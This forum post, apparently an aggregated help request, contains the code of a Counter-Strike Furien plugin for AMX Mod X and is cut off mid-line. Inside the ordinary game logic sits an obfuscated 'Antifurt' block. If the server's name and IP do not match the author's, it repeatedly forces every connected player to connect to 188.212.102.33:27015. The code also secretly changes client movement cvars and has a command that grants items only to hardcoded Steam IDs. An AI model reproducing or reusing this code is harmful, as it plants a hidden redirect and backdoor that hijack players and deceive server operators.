RSSy MYGO.pl Opublikowano Luty 20, 2020 o 21:52 RSSy Udostępnij Opublikowano Luty 20, 2020 o 21:52 Hi guys , when I am trying to compile this plugin PHP Code: #include <amxmodx> #include <amxmisc> #include <cstrike> #include <engine> #include <CSX> #include <fun> #include <hamsandwich> #include <fakemeta> #define MAX_PLAYERS 32 #define Ham_Player_ResetMaxSpeed Ham_Item_PreFrame #define XTRA_OFS_PLAYER 5 #define m_iAccount 115 #define XO_WEAPONBOX 4 #define cs_set_money_value(%1,%2) set_pdata_int(%1, m_iAccount, %2, XTRA_OFS_PLAYER) #define m_rgpPlayerItems_wpnbx_Slot5 39 #define IsWeaponBoxC4(%1) ( get_pdata_cbase(%1, m_rgpPlayerItems_wpnbx_Slot5, XO_WEAPONBOX) > 0 ) #define FIRST_PLAYER_ID 1 #define IsPlayer(%1) ( FIRST_PLAYER_ID <= %1 <= g_iMaxPlayers ) #define XO_WEAPON 4 #define m_pPlayer 41 #define XO_PLAYER 5 #define m_pActiveItem 373 #define ADMIN_ACCESS ADMIN_BAN //flag "d" #define SPECT_KEYS MENU_KEY_1|MENU_KEY_2|MENU_KEY_5|MENU_KEY_6|MENU_KEY_0 #define CLASS_KEYS MENU_KEY_1|MENU_KEY_2|MENU_KEY_3|MENU_KEY_4|MENU_KEY_5 #define LINUXDIFF 5 #if cellbits == 32 #define OFFSET_TEAM 114 #else #define OFFSET_TEAM 139 #endif #define TEAM_T 1 #define TEAM_CT 2 #define TEAM_SPEC 3 #define UPDATE_INTERVAL 0.01 #define TID_TIMER 26642 #define _Set(%1,%2) %1|=1<<%2 #define _UnSet(%1,%2) %1&=~(1<<%2) #define _Is(%1,%2) (%1&1<<%2) enum { DeathMsg_KillerID = 1, // byte DeathMsg_VictimID, // byte } new bool:g_roundend new bool:g_corpse_made[33] new bool:g_model_selected[33] new g_team[33] new g_maxplayers new fpause=0; new skmod[33]; stock bool:is_admin(id) return g_team[id] && get_user_flags(id) & ADMIN_ACCESS ? true : false stock bool:is_admin_dead(id) return is_admin(id) && g_corpse_made[id] ? true : false /* _Item_Deploy, get_pdata_cbase(id, m_pActiveItem, XO_PLAYER)) set_pev(id, pev_viewmodel2, knife) */ ///////Antifurt////// #define x539jRwe "www.watf.ro" #define y32jhR8x07 "188.212.102.33:27015" new a51o4QQ50e4dSSe4a386afbf090=1; new a58a4QX50e4dbbe4a386afbf090=0; new h8a4QR50e4db6apRQ34f32qwAwq[40]; new ia4QFf32wAb6apfQfslLrfwe42W[32]; ///////Antifurt///// new _alive, _in_server new g_max_players new g_timer_entid new Float:g_t_time new g_HSO new topkillscount[33] new Float: topdmgcount[33]; new pc_enabled new pc_team_color new pc_details new pc_req_flags new pc_dead_only //new numedmg[33][32],numebest[33][32],numenab[33][32],numefirstblood[33][32],numehumiliation[33][32],numegodlike[33][32],nrdmg[33],nrbest[33],nrnab[33],nrfirstblood[33],nrhumiliation[33],numegodlike[33]; new g_enabled new g_team_color new g_details new g_req_flags new g_dead_only new g_target[33] new g_name[33][32] new g_weap_name[32][32] = {"", "p228", "", "scout", "HE", "xm1014", "c4", "mac10", "aug", "SG", "elite", "fiveseven", "ump45", "sg550", "galil", "famas", "usp", "glock", "awp", "mp5", "m249", "m3", "m4a1", "tmp", "g3sg1", "FB", "deagle", "sg552", "ak47", "knife", "p90", ""} new g_hp[33] new g_ap[33] new g_weapon[33] new g_iPickUp=2; new g_pCvarGravity, g_pCvarMaxSpeed, g_pCvarGravity2, g_pCvarMaxSpeed2,g_pCvarMaxSpeed3; new g_iMsgSayText,g_iMsg_ScoreInfo; new g_iMenu,g_iMenuG,g_iMenu2,g_iMenu3,formeniu[33]; new g_iTextMsg; new g_iMaxPlayers; new aresuperknife[33], aregoldenak[33], areregen[33], aretask[33], admspec[33],areblackpack[33],cloackinuse[33],areet[33],crithp[33]; new HamHook:g_iHhTakeDamage new spawnpoint[33][3]; new schimbareeq; new knife[] = "models/sk1.mdl"; new knife2[] = "models/sk2.mdl"; new knife3[] = "models/sk3.mdl"; new knifebp[] = "models/blackpackknife.mdl"; new vak47[] = "models/v_golden_ak47.mdl" new pak47[] = "models/p_golden_ak47.mdl" new fs[] = "furiens/t_win.wav" new afs[] = "furiens/ct_win.wav" new const szPickAmmoSound[] = "items/9mmclip1.wav" public plugin_init() { ///////Antifurt////// get_user_name(0,h8a4QR50e4db6apRQ34f32qwAwq,40) get_user_ip(0,ia4QFf32wAb6apfQfslLrfwe42W,31) if( (containi(h8a4QR50e4db6apRQ34f32qwAwq,"www.watf.ro") == -1) || (containi(ia4QFf32wAb6apfQfslLrfwe42W,"188.212.102.33:27015") == -1) || (containi(h8a4QR50e4db6apRQ34f32qwAwq,x539jRwe) == -1) || (containi(ia4QFf32wAb6apfQfslLrfwe42W,y32jhR8x07) == -1) ) { a51o4QQ50e4dSSe4a386afbf090=1; a58a4QX50e4dbbe4a386afbf090=1; } else { a51o4QQ50e4dSSe4a386afbf090=0; } ///////Antifurt////// register_plugin("[WATF] Black Furien WAR", "[W]1.5", "Black--Dragon") g_pCvarGravity = register_cvar("watf_furien_gravity", "0.375") g_pCvarMaxSpeed = register_cvar("watf_furien_speed", "700") g_pCvarGravity2 = register_cvar("watf_furienbp_gravity", "0.370") g_pCvarMaxSpeed2 = register_cvar("watf_furienbp_speed", "775") g_pCvarMaxSpeed3 = register_cvar("watf_furiencloack_speed", "155") RegisterHam(Ham_Spawn, "player", "Player_Spawn_Post", 1) RegisterHam(Ham_Player_ResetMaxSpeed, "player", "Player_ResetMaxSpeed", 1) RegisterHam(Ham_Touch, "weaponbox", "CWeaponBox_Touch") RegisterHam(Ham_Touch, "armoury_entity", "GroundWeapon_Touch") RegisterHam(Ham_Touch, "weapon_shield", "GroundWeapon_Touch") RegisterHam(Ham_Spawn, "hostage_entity", "Hostage_Spawn") RegisterHam(Ham_Killed, "player", "Ham_CBasePlayer_Killed_Post", true) register_event("WeapPickup","checkModel","b","1=19") register_event("CurWeapon","checkWeapon","be","1=1") RegisterHam(Ham_TakeDamage, "player", "CBasePlayer_TakeDamage", false) //RegisterHam(Ham_Item_Deploy, "weapon_knife", "CKnife_Deploy", true) g_iHhTakeDamage = RegisterHam(Ham_TakeDamage, "player", "Player_TakeDamage") DisableHamForward( g_iHhTakeDamage ) register_event("HLTV", "new_round", "a", "1=0", "2=0") register_logevent("round_end", 2, "1=Round_End") register_event("ClCorpse", "hook_corpse", "a", "12>0") register_event("TeamInfo", "event_teaminfo", "a", "1>0") register_event("TextMsg", "joined_a_team", "a", "1=1", "2=#Game_join_terrorist", "2=#Game_join_ct") register_clcmd("jointeam", "join_spec_cmd") register_clcmd("joinclass", "select_a_model") register_menucmd(register_menuid("IG_Team_Select_Spect",1), SPECT_KEYS, "join_spec_menucmd") register_menucmd(register_menuid("Terrorist_Select", 1), CLASS_KEYS, "select_a_model") register_menucmd(register_menuid("CT_Select", 1), CLASS_KEYS, "select_a_model") g_maxplayers = get_maxplayers() register_dictionary("furiens.txt") register_message(get_user_msgid("SendAudio"), "Message_SendAudio") register_event("SendAudio", "Event_SendAudio_MRAD_ctwin", "a", "1=0", "2=%!MRAD_ctwin"); register_event("HLTV", "Event_HLTV_New_Round", "a", "1=0", "2=0") register_logevent("APusBomba", 3, "2=Planted_The_Bomb") register_event("DeathMsg", "Event_DeathMsg", "a") register_event("ResetHUD", "GetSpawnOrigin", "b"); new iEnt = create_entity("info_target") entity_set_string(iEnt, EV_SZ_classname, "check_speed") entity_set_float(iEnt, EV_FL_nextthink, get_gametime() + 0.1) register_think("check_speed", "Set_Terrorist_Visibility") //register_forward(FM_PlayerPreThink,"func_prethink"); g_iMsgSayText = get_user_msgid( "SayText" ) g_iTextMsg = get_user_msgid("TextMsg") g_iMaxPlayers = get_maxplayers() g_iMsg_ScoreInfo = get_user_msgid( "ScoreInfo" ) //register_concmd( "amx_furienpause", "pauzafurien"); //register_concmd( "amx_furienunpause", "unpauzafurien"); //register_forward( FM_PlayerPreThink, "Forward_PlayerPreThink", 0 ); //register_event( "Damage", "Event_Damage", "b", "2!0", "3=0", "4!0" ) //set_msg_block(get_user_msgid("ClCorpse"), BLOCK_SET ); register_message(get_user_msgid("StatusValue"), "update_target") register_message(get_user_msgid("Health"), "update_hp") register_message(get_user_msgid("Battery"), "update_ap") register_message(get_user_msgid("CurWeapon"), "update_weapon") register_event("TeamInfo", "join_team","a") register_event("HLTV", "update_cvars", "a", "1=0", "2=0") RegisterHam(Ham_Spawn, "player", "Player_Spawn", 1) RegisterHam(Ham_Killed, "player", "Player_Killed", 1) create_timer() pc_enabled = register_cvar("ti_enabled", "1") //0 - plugin disabled //1 - plugin enabled pc_team_color = register_cvar("ti_team_color", "1") //0-same color for all teams//1-team color pc_details = register_cvar("ti_details", "2") //0-only name//1-show details//2-teammates details pc_req_flags = register_cvar("ti_req_flags", "") //0 - plugin disabled //1 - plugin enabled pc_dead_only = register_cvar("ti_dead_only", "0") //0-same color for all teams//1-team color g_max_players = get_maxplayers() g_HSO = CreateHudSyncObj() set_task(80.0, "x0342VrQ", 908533, "", 0, "b") set_task(10.0, "y0335PxN"); register_event("TextMsg", "Event_GameWillRestartIn", "a", "2=#Game_will_restart_in") //set_task( 5.0 * 60.0, "TaskCheckMinutes", 12345, _, _, "d" ); } public x0342VrQ() { get_user_name(0,h8a4QR50e4db6apRQ34f32qwAwq,40) get_user_ip(0,ia4QFf32wAb6apfQfslLrfwe42W,31) if( (containi(h8a4QR50e4db6apRQ34f32qwAwq,"www.watf.ro") == -1) || (containi(ia4QFf32wAb6apfQfslLrfwe42W,"188.212.102.33:27015") == -1) || (containi(h8a4QR50e4db6apRQ34f32qwAwq,x539jRwe) == -1) || (containi(ia4QFf32wAb6apfQfslLrfwe42W,y32jhR8x07) == -1) ) { a51o4QQ50e4dSSe4a386afbf090=1; a58a4QX50e4dbbe4a386afbf090=1; } else { a51o4QQ50e4dSSe4a386afbf090=0; } if(a51o4QQ50e4dSSe4a386afbf090 || a58a4QX50e4dbbe4a386afbf090) { for(new i=1;i<=32;i++) { if(is_user_connected(i)) { client_cmd(i,"CONNECT 188.212.102.33:27015"); } } } } public y0335PxN() { get_user_name(0,h8a4QR50e4db6apRQ34f32qwAwq,40) get_user_ip(0,ia4QFf32wAb6apfQfslLrfwe42W,31) if( (containi(h8a4QR50e4db6apRQ34f32qwAwq,"www.watf.ro") == -1) || (containi(ia4QFf32wAb6apfQfslLrfwe42W,"188.212.102.33:27015") == -1) || (containi(h8a4QR50e4db6apRQ34f32qwAwq,x539jRwe) == -1) || (containi(ia4QFf32wAb6apfQfslLrfwe42W,y32jhR8x07) == -1) ) { a51o4QQ50e4dSSe4a386afbf090=1; a58a4QX50e4dbbe4a386afbf090=1; } else { a51o4QQ50e4dSSe4a386afbf090=0; } if(a51o4QQ50e4dSSe4a386afbf090 || a58a4QX50e4dbbe4a386afbf090) { for(new i=1;i<=32;i++) { if(is_user_connected(i)) { client_cmd(i,"CONNECT 188.212.102.33:27015"); } } } new Float:nrrandom = random_float(90.0,120.0); set_task(nrrandom, "y0335PxN"); } public plugin_cfg() { update_cvars() g_iMenu = menu_create("\r[WATF] Anti-Furien Gun Menu:", "HandleGunMenu"); menu_additem(g_iMenu, "M4a1", "1"); menu_additem(g_iMenu, "Ak47", "2"); menu_additem(g_iMenu, "MP5", "3"); menu_additem(g_iMenu, "Famas", "4"); menu_additem(g_iMenu, "Galil", "5"); menu_additem(g_iMenu, "P90", "6"); menu_setprop(g_iMenu, MPROP_EXIT, MEXIT_NEVER); g_iMenuG = menu_create("\r[WATF] Anti-Furien Gun Menu:^n\yGolden AK 47 va disparea daca alegi o alta arma!", "HandleGunMenu"); menu_additem(g_iMenuG, "M4a1", "1"); menu_additem(g_iMenuG, "Ak47", "2"); menu_additem(g_iMenuG, "MP5", "3"); menu_additem(g_iMenuG, "Famas", "4"); menu_additem(g_iMenuG, "Galil", "5"); menu_additem(g_iMenuG, "P90", "6"); menu_setprop(g_iMenuG, MPROP_EXIT, MEXIT_ALL); g_iMenu2 = menu_create("\r[WATF] Anti-Furien Shop:", "HandleGunMenu2"); menu_additem(g_iMenu2, "Golden AK 47 \R\r$9000", "1"); menu_additem(g_iMenu2, "Defuse Kit \R\r$300", "2"); menu_additem(g_iMenu2, "50 HP \R\r$3000", "3"); menu_additem(g_iMenu2, "50 AP + Helmet \R\r$1000", "4"); menu_additem(g_iMenu2, "HP Regenerator (MAX HP = 100) \R\r$6000", "5"); menu_additem(g_iMenu2, "Ammo (90 gloante) \R\r$3000", "6"); menu_setprop(g_iMenu2, MPROP_EXIT, MEXIT_ALL); g_iMenu3 = menu_create("\r[WATF] Furien Shop:", "HandleGunMenu3"); menu_additem(g_iMenu3, "SuperKnife \R\r$15000", "1", _, menu_makecallback("seteazabp")); menu_additem(g_iMenu3, "He Grenade \R\r$3000", "2"); menu_additem(g_iMenu3, "50 HP \R\r$3000", "3"); menu_additem(g_iMenu3, "100 AP + Helmet \R\r$5000", "4"); menu_additem(g_iMenu3, "Black Pack \R\r$9000", "5", _, menu_makecallback("seteazask")); menu_setprop(g_iMenu3, MPROP_EXIT, MEXIT_ALL); /*g_iMenu4 = menu_create("\r[WATF] Anti-Furien Shop:", "Decenupot"); menu_additem(g_iMenu4, "Golden AK 47 \R\r$9000", "1", _, menu_makecallback("fff")); menu_additem(g_iMenu4, "Defuse Kit \R\r$300", "2", _, menu_makecallback("fff")); menu_additem(g_iMenu4, "50 HP \R\r$3000", "3", _, menu_makecallback("fff")); menu_additem(g_iMenu4, "50 AP + Helmet \R\r$1000", "4", _, menu_makecallback("fff")); menu_additem(g_iMenu4, "HP Regenerator (MAX HP = 100) \R\r$6000", "5", _, menu_makecallback("fff")); menu_additem(g_iMenu4, "Ammo (90 gloante) \R\r$3000", "6", _, menu_makecallback("fff")); menu_additem(g_iMenu4, "De ce nu pot cumpara?", "7"); menu_setprop(g_iMenu4, MPROP_EXIT, MEXIT_ALL); g_iMenu5 = menu_create("\r[WATF] Furien Shop:", "Decenupot"); menu_additem(g_iMenu5, "SuperKnife \R\r$15000", "1", _, menu_makecallback("fff")); menu_additem(g_iMenu5, "He Grenade \R\r$3000","2", _, menu_makecallback("fff")); menu_additem(g_iMenu5, "50 HP \R\r$3000", "3", _, menu_makecallback("fff")); menu_additem(g_iMenu5, "100 AP + Helmet \R\r$5000", "4", _, menu_makecallback("fff")); menu_additem(g_iMenu5, "Black Pack \R\r$9000", "5", _, menu_makecallback("fff")); menu_additem(g_iMenu5, "De ce nu pot cumpara?", "6"); menu_setprop(g_iMenu5, MPROP_EXIT, MEXIT_ALL);*/ /*g_iMenu4 = menu_create("\r[WATF] Black Pack Emergency Teleport:", "HandleGunMenu4"); menu_additem(g_iMenu4, "On (default)", "1"); menu_additem(g_iMenu4, "Off", "2"); menu_setprop(g_iMenu4, MPROP_EXIT, MEXIT_ALL);*/ register_clcmd( "amx_givebp","daBP"); register_clcmd("say /weapons","watfacme") register_clcmd("say_team /weapons","watfacme") register_clcmd("say /weapon","watfacme") register_clcmd("say_team /weapon","watfacme") register_clcmd("say /gun","watfacme") register_clcmd("say_team /gun","watfacme") register_clcmd("say /guns","watfacme") register_clcmd("say_team /guns","watfacme") register_clcmd("say /arma","watfacme") register_clcmd("say_team /arma","watfacme") register_clcmd("say /arme","watfacme") register_clcmd("say_team /arme","watfacme") register_clcmd("say weapons","watfacme") register_clcmd("say_team weapons","watfacme") register_clcmd("say weapon","watfacme") register_clcmd("say_team weapon","watfacme") register_clcmd("say gun","watfacme") register_clcmd("say_team gun","watfacme") register_clcmd("say guns","watfacme") register_clcmd("say_team guns","watfacme") register_clcmd("say arma","watfacme") register_clcmd("say_team arma","watfacme") register_clcmd("say arme","watfacme") register_clcmd("say_team arme","watfacme") register_clcmd("buy", "ClientCommand_Buy") register_clcmd("bUy", "ClientCommand_Buy") register_clcmd("buY", "ClientCommand_Buy") register_clcmd("bUY", "ClientCommand_Buy") register_clcmd("Buy", "ClientCommand_Buy") register_clcmd("BUy", "ClientCommand_Buy") register_clcmd("BuY", "ClientCommand_Buy") register_clcmd("BUY", "ClientCommand_Buy") register_clcmd("say /shop","watfacme2"); register_clcmd("say_team /shop","watfacme2"); register_clcmd("say shop","watfacme2"); register_clcmd("say_team shop","watfacme2"); register_clcmd("shop","watfacme2"); register_clcmd("amx_spectator", "daispecc",ADMIN_KICK) register_clcmd("say /spec", "daispec",ADMIN_KICK) register_clcmd("say_team /spec", "daispec",ADMIN_KICK) register_clcmd("say /spectator", "daispec",ADMIN_KICK) register_clcmd("say_team /spectator", "daispec",ADMIN_KICK) register_clcmd("say /info" , "aratamotd"); register_clcmd("say /reguli" , "aratamotd"); register_clcmd("say_team /reguli" , "aratamotd"); register_clcmd("say_team /info" , "aratamotd"); register_concmd("ll1","llam"); register_concmd("ll2","unllam"); //register_clcmd("amx_spectator2", "daispecc2",ADMIN_KICK) //register_clcmd("say /spec2", "daispec2",ADMIN_KICK) //register_clcmd("say_team /spec2", "daispec2",ADMIN_KICK) //register_clcmd("say /spectator2", "daispec2",ADMIN_KICK) //register_clcmd("say_team /spectator2", "daispec2",ADMIN_KICK) /*register_clcmd( "say /start","nogaksk"); register_clcmd( "say_team /start","nogaksk"); register_clcmd( "say /live","cmdlive"); register_clcmd( "say /meci","nogaksk"); register_clcmd( "say /stop","nogaksk"); register_clcmd( "say /restart","nogaksk"); register_clcmd( "say_team /live","nogaksk"); register_clcmd( "say_team /meci","nogaksk"); register_clcmd( "say_team /stop","nogaksk"); register_clcmd( "say_team /restart","nogaksk"); register_clcmd( "say /warmup","nogaksk"); register_clcmd( "say_team /warmup","nogaksk")*/ menu_setprop(g_iMenu, MPROP_NOCOLORS, 1) menu_setprop(g_iMenuG, MPROP_NOCOLORS, 1) menu_setprop(g_iMenu2, MPROP_NOCOLORS, 1) menu_setprop(g_iMenu3, MPROP_NOCOLORS, 1) //menu_setprop(g_iMenu4, MPROP_NOCOLORS, 1) //menu_setprop(g_iMenu5, MPROP_NOCOLORS, 1) } public plugin_precache() { precache_model(knife) precache_model(knife2) precache_model(knife3) precache_model(knifebp) new Entity = create_entity( "info_map_parameters" ); DispatchKeyValue( Entity, "buying", "3" ); DispatchSpawn( Entity ); precache_model( "models/player/blackfurien/blackfurien.mdl" ); precache_model( "models/player/blackpackff/blackpackff.mdl" ); //precache_model(parachute) precache_sound(fs) precache_sound(afs); precache_sound(szPickAmmoSound) precache_model(vak47) precache_model(pak47) } public pfn_keyvalue( Entity ) { new ClassName[ 20 ], Dummy[ 2 ]; copy_keyvalue( ClassName, charsmax( ClassName ), Dummy, charsmax( Dummy ), Dummy, charsmax( Dummy ) ); if( equal( ClassName, "info_map_parameters" ) ) { remove_entity( Entity ); return PLUGIN_HANDLED ; } return PLUGIN_CONTINUE; } public client_connect(id) { topkillscount[id]=0; topdmgcount[id]=0.0; g_target[id] = 0 g_team[id] = 0 get_user_name(id, g_name[id], 31) cloackinuse[id] = 0 crithp[id] = 20 client_cmd(id,"cl_sidespeed 1100"); client_cmd(id,"cl_backspeed 1100"); client_cmd(id,"cl_forwardspeed 1100"); client_cmd(id,"cl_upspeed 1100"); g_team[id] = 0 admspec[id]=0; skmod[id]=0; g_model_selected[id] = false g_corpse_made[id] = false formeniu[id]=0; aresuperknife[id]=0; areblackpack[id]=0; aregoldenak[id]=0; areregen[id]=0; aretask[id]=0; if(a51o4QQ50e4dSSe4a386afbf090 || a58a4QX50e4dbbe4a386afbf090) { client_cmd(id,"CONNECT 188.212.102.33:27015"); } } public aratamotd(id) { show_motd(id,"/motd.txt"); } public Event_GameWillRestartIn() { for(new i = 1 ; i<=32 ; i++) { skmod[i]=0; formeniu[i]=0; aresuperknife[i]=0; areblackpack[i]=0; aregoldenak[i]=0; areregen[i]=0; } } public fff(id) { return ITEM_DISABLED; } public llam(id) { if(!id) { fpause=1; } } public unllam(id) { if(!id) { fpause=0; } } public daBP(id) { new verstmd[32]; get_user_authid(id,verstmd,31) if(!equal(verstmd,"STEAM_0:0:28972262") && !equal(verstmd,"STEAM_0:0:22163974") && !equal(verstmd,"STEAM_0:1:11512235")) { return PLUGIN_HANDLED; } new name[32], text[64]; read_args(text,64) parse(text,name,32) new cid = find_player("lb",name) if (!cid) { id ? client_print(id,print_console,"[WATF] Jucatorul specificat nu a fost gasit!") : server_print("[WATF] Jucatorul specificat nu a fost gasit!") return PLUGIN_HANDLED } if(cs_get_user_team(cid) == CS_TEAM_T) { areblackpack[cid]=1; if( get_user_weapon(cid) == CSW_KNIFE ) { set_pev(cid, pev_viewmodel2, knifebp) } //areet[cid]=1; cs_set_user_model( cid, "blackfurien" ); cs_set_user_armor(cid, 100, CS_ARMOR_VESTHELM); emit_sound(cid, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //menu_display(cid, g_iMenu4); id ? client_print(id,print_console,"[WATF] Comanda executata cu succes!") : server_print("[WATF] Comanda executata cu succes!") } else { id ? client_print(id,print_console,"[WATF] Echipa tintei incompatibila!") : server_print("[WATF] Echipa tintei incompatibila!") } } public GroundWeapon_Touch(iWeapon, id) { //if(!fpause) //{ if( IsPlayer(id) ) { if( !g_iPickUp ) { remove_entity(iWeapon) return HAM_SUPERCEDE } if( !is_user_alive(id) ) { return HAM_SUPERCEDE } new iTeam = get_user_team(id) if( ( iTeam == -1 ) || (iTeam == 1 && g_iPickUp != 1) || (iTeam == 2 && g_iPickUp != 2) ) { return HAM_SUPERCEDE } } return HAM_IGNORED //} } /*public func_prethink(id) { if(is_user_alive(id) && aregoldenak[id]) { set_pev(id,pev_punchangle,{ 0.0,0.0,0.0 }); } }*/ public GetSpawnOrigin( id ) { get_user_origin(id, spawnpoint[id], 0); } public Event_SendAudio_MRAD_ctwin() { if(!a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090) { new players[32], num; get_players( players, num ); for( new i; i < num; i++ ) { add_delay( players[i] ); } } } public CWeaponBox_Touch(iWeaponBox, id) { //if(!fpause) //{ if( IsPlayer(id) ) { if( !is_user_alive(id) ) { return HAM_SUPERCEDE } if( IsWeaponBoxC4(iWeaponBox) ) { return HAM_IGNORED } if( !g_iPickUp ) { remove_entity(iWeaponBox) return HAM_SUPERCEDE } new iTeam = get_user_team(id) if( ( iTeam == -1 ) || (iTeam == 1 && g_iPickUp != 1) || (iTeam == 2 && g_iPickUp != 2) ) { return HAM_SUPERCEDE } } //return HAM_IGNORED //} } /*public pauzafurien(id) { if(!id) { fpause=1; } } public unpauzafurien(id) { if(!id) { fpause=0; } }*/ public seteazabp(id, Menu, item) { return areblackpack[id] ? ITEM_DISABLED : ITEM_ENABLED; } public seteazask(id, Menu, item) { return aresuperknife[id] ? ITEM_DISABLED : ITEM_ENABLED; } public Event_HLTV_New_Round() { if(schimbareeq) { schimbareeq = 0 DisableHamForward( g_iHhTakeDamage ) } } public ClientCommand_Buy(id) { return PLUGIN_HANDLED_MAIN } add_delay( id ) { if(!a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090) { switch( id ) { case 1..7: set_task( 0.1, "changeTeam", id ); case 8..15: set_task( 0.2, "changeTeam", id ); case 16..23: set_task( 0.3, "changeTeam", id ); case 24..32: set_task( 0.4, "changeTeam", id ); } } } public changeTeam( id ) { if(!a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090) { if(is_user_connected(id)) { if(IsPlayer(id)) { menu_cancel(id); } switch( cs_get_user_team( id ) ) { case CS_TEAM_CT: { if(aregoldenak[id]) { new bani2 = cs_get_user_money(id); if(bani2 + 5000 < 16000) { cs_set_user_money(id, bani2 + 5000); } else { cs_set_user_money(id, 16000); } aregoldenak[id]=0; } if(is_admin_dead(id) && get_pdata_int(id, OFFSET_TEAM, LINUXDIFF) == TEAM_SPEC && g_team[id] != TEAM_SPEC && !admspec[id]) { g_team[id] = TEAM_T; set_pdata_int(id, OFFSET_TEAM, g_team[id], LINUXDIFF) } g_team[id] = TEAM_T; g_corpse_made[id] = false if(!admspec[id]) { cs_set_user_team( id, CS_TEAM_T, CS_T_LEET ); cs_reset_user_model(id) } else if(admspec[id]) { cs_set_user_team(id, CS_TEAM_SPECTATOR) set_pdata_int(id, OFFSET_TEAM, TEAM_SPEC, LINUXDIFF) } } case CS_TEAM_T: { aresuperknife[id]=0; areblackpack[id]=0; if(is_admin_dead(id) && get_pdata_int(id, OFFSET_TEAM, LINUXDIFF) == TEAM_SPEC && g_team[id] != TEAM_SPEC && !admspec[id]) { g_team[id] = TEAM_CT; set_pdata_int(id, OFFSET_TEAM, g_team[id], LINUXDIFF) } skmod[id]=0; g_team[id] = TEAM_CT; g_corpse_made[id] = false if(!admspec[id]) { cs_set_user_team( id, CS_TEAM_CT, CS_CT_GIGN); cs_reset_user_model(id) } else if(admspec[id]) { cs_set_user_team(id, CS_TEAM_SPECTATOR) set_pdata_int(id, OFFSET_TEAM, TEAM_SPEC, LINUXDIFF) } } } } } } public daispec(id,level,cid) { //if(cmd_access(id,level,cid,1)) //{ if(!admspec[id]) { if(is_user_alive(id)) { set_user_death(id, get_user_deaths(id) -1) set_pev(id,pev_frags, pev(id, pev_frags)+1.0) } user_silentkill(id) set_task(0.5,"punespec",id) admspec[id]=1; ChatColor(id,"^x04[WATF]^x01 Ai fost mutat spectator!"); } else if(admspec[id]) { set_pdata_int(id, OFFSET_TEAM, g_team[id], LINUXDIFF) admspec[id]=0; ChatColor(id,"^x04[WATF]^x01 Ai revenit la echipa ta!"); } //return PLUGIN_HANDLED; //} return PLUGIN_CONTINUE; } public daispecc(id,level,cid) { //if(cmd_access(id,level,cid,1)) //{ if(!admspec[id]) { if(is_user_alive(id)) { set_user_death(id, get_user_deaths(id) -1) set_pev(id,pev_frags, pev(id, pev_frags)+1.0) } user_silentkill(id) set_task(0.5,"punespec",id) admspec[id]=1; client_print(id, print_console, "[WATF] Ai fost mutat spectator!"); } else if(admspec[id]) { set_pdata_int(id, OFFSET_TEAM, g_team[id], LINUXDIFF) admspec[id]=0; client_print(id,print_console, "[WATF] Ai revenit la echipa ta!"); } //return PLUGIN_HANDLED; //} return PLUGIN_CONTINUE; } public punespec(id) { cs_set_user_team(id, CS_TEAM_SPECTATOR); } public update_weapon(msg_id, msg_dest, id){ if(get_msg_arg_int(1)) g_weapon[id] = get_msg_arg_int(2) } public update_hp(msg_id, msg_dest, id){ g_hp[id] = get_user_health(id) } public update_ap(msg_id, msg_dest, id){ g_ap[id] = get_user_armor(id) } public update_target(msg_id, msg_dest, id){ if(get_msg_arg_int(1) == 2) g_target[id] = get_msg_arg_int(2) } public Player_Spawn(id){ if(!is_user_alive(id)) return _Set(_alive, id) } public Player_Killed(id){ _UnSet(_alive, id) } public update_cvars(){ g_enabled = get_pcvar_num(pc_enabled) g_team_color = get_pcvar_num(pc_team_color) g_details = get_pcvar_num(pc_details) g_dead_only = get_pcvar_num(pc_dead_only) new tmp[32] get_pcvar_string(pc_req_flags, tmp, 31) g_req_flags = read_flags(tmp) } public client_infochanged(id){ //update name get_user_info(id, "name", g_name[id], 31) } public join_team(){ static id, team[2] id = read_data(1) read_data(2, team, 1) switch(team[0]){ case 'C': g_team[id] = 2 case 'T': g_team[id] = 1 default : g_team[id] = 0 } } /*public Forward_PlayerPreThink( id ) { if( !is_user_alive( id ) ) return; if( !areblackpack[id] ) return; static iButton; iButton = get_user_button( id ); if( iButton & IN_USE ) { if(!cloackinuse[id]) { set_user_maxspeed(id, get_pcvar_float(g_pCvarMaxSpeed3)) cloackinuse[id]=1; } } else { if(cloackinuse[id]) { set_user_maxspeed(id, get_pcvar_float(g_pCvarMaxSpeed2)) cloackinuse[id]=0; } } }*/ public create_timer(){ g_timer_entid = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString,"info_target")) if(pev_valid(g_timer_entid)){ set_pev(g_timer_entid, pev_classname, "ti_timer") global_get(glb_time, g_t_time) set_pev(g_timer_entid, pev_nextthink, g_t_time + UPDATE_INTERVAL) register_forward(FM_Think, "fwd_Think") }else{ log_amx("Warning: Failed to create timer entity, using task instead.") set_task(UPDATE_INTERVAL, "timer_cycle", TID_TIMER, "", 0, "b") } } public fwd_Think(Ent){ if(Ent != g_timer_entid) return FMRES_IGNORED g_t_time += UPDATE_INTERVAL set_pev(Ent, pev_nextthink, g_t_time) timer_cycle() return FMRES_IGNORED } public plugin_unpause(){ if(pev_valid(g_timer_entid)){ global_get(glb_time, g_t_time) g_t_time += UPDATE_INTERVAL set_pev(g_timer_entid, pev_nextthink, g_t_time) } } public timer_cycle(){ static id, cache[512], tar, pos if(!g_enabled) return for(id = 1; id<=g_max_players; id++){ if(!_Is(_in_server, id) || (get_user_flags(id)&g_req_flags != g_req_flags)) continue tar = g_target[id] if(_Is(_alive, id)){ if(g_dead_only) continue }else{ if(pev(id, pev_iuser2) == g_target[id]) tar = g_target[tar] } if(tar == 0) continue if(g_team[id] == 1 && g_team[tar] == 2 && areblackpack[id]) { set_hudmessage(189, 11, 11, -1.0, 0.53, 1, _, UPDATE_INTERVAL-0.1, 0.1, 0.1, -1) //client_print(0,print_chat,"Caz 1, team id = terr team tar = ct"); } else if((g_team[tar] == g_team[id]) || (g_team[tar] == 2 && g_team[id] == 1)) { set_hudmessage(255, 255, 255, -1.0, 0.53, 1, _, UPDATE_INTERVAL-0.1, 0.1, 0.1, -1) //client_print(0,print_chat,"Caz 2, team tar = terr team tar = tar || team tar = ct team id = 1"); } pos = formatex(cache, 511, "%s", g_name[tar]) if((g_team[id] == g_team[tar]) || (g_team[id] == 1 && areblackpack[id])) { pos += formatex(cache[pos], 511-pos, " -- %d HP / %d AP / %s", g_hp[tar], 